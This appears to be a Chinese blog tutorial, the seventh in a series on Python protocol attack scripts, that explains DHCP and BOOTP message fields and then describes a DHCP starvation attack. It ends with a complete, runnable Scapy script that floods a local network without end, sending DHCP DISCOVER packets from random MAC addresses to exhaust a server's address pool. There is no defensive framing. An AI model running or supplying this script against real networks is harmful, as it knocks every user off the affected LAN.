Python 协议攻击脚本(七): DHCP攻击
作者:互联网
DCHP知识铺垫
DHCP
动态主机设置协议(英语:Dynamic Host Configuration Protocol,缩写:DHCP)是一个局域网的网络协议,使用UDP协议工作
BOOTP
BOOTP(Bootstrap Protocol,引导程序协议)是一种引导协议,基于IP/UDP协议,也称自举协议,是DHCP协议的前身。
关系
-
DHCP 是BOOTP 的增强版本都是基于TCP/IP协议的协议
-
DHCP的消息格式是基于BOOTP的消息格式的
报文部分字段
- op:消息操作代码
- 1 客户端请求报文(BOOTREQUEST)
- 2 服务器响应报文(BOOTREPLY)
- xid:事务ID,由客户端选择的一个随机数,被服务器和客户端用来在它们之间交流请求和响应
- chaddr:客户端MAC地址
- option:选项字段
常见option选项
Option id | name | 描述 |
---|---|---|
1 | Subnet Mask | 子网掩码 |
3 | Router | 网关 |
6 | DNS Server | DNS服务器 |
51 | IP address lease time | IP地址租期 |
53 | Message type | 消息类型 |
54 | DHCP Server Identifier | DHCP服务器身份 |
IP请求中的Message type:
- 1 DHCP发现(DISCOVER)
- 2 DHCP提供(OFFER)
- 3 DHCP请求(REQUEST)
- 5 DHCP确认(Acknowledge,ACK)
DHCP耗尽攻击
不断的发送DHCP Dscover
来向DHCP服务器请求IP地址,导致地址池耗尽,对网络造成破坏
详见:
数据包分析
DHCP 服务器: 192.168.1.1
地址池:192.168.1.100-200
Ether
- src:
本机mac
- dst:
ff:ff:ff:ff:ff:ff
广播地址
IP
- src:
0.0.0.0
UDP
- src port:
68
- dst port:
67
DHCP
-
chaddr:
本机mac
-
option:
53 Discover
编写脚本
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from scapy.all import (
Ether,
RandMAC,
IP,
UDP,
BOOTP,
DHCP,
sendp
)
import random
def dhcp_discover(iface):
while 1:
xid_random = random.randint(1, 900000000)
mac_random = str(RandMAC())
dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/
IP(src='0.0.0.0',dst='255.255.255.255')/
UDP(sport=68,dport=67)/
BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/
DHCP(options=[('message-type','discover')]
))
sendp(dhcp_discover,iface=iface)
if __name__ == '__main__':
iface = 'eth0'
dhcp_discover(iface)
标签:协议,攻击,IP,random,BOOTP,Python,ff,DHCP 来源: https://blog.csdn.net/qq_41725312/article/details/90314500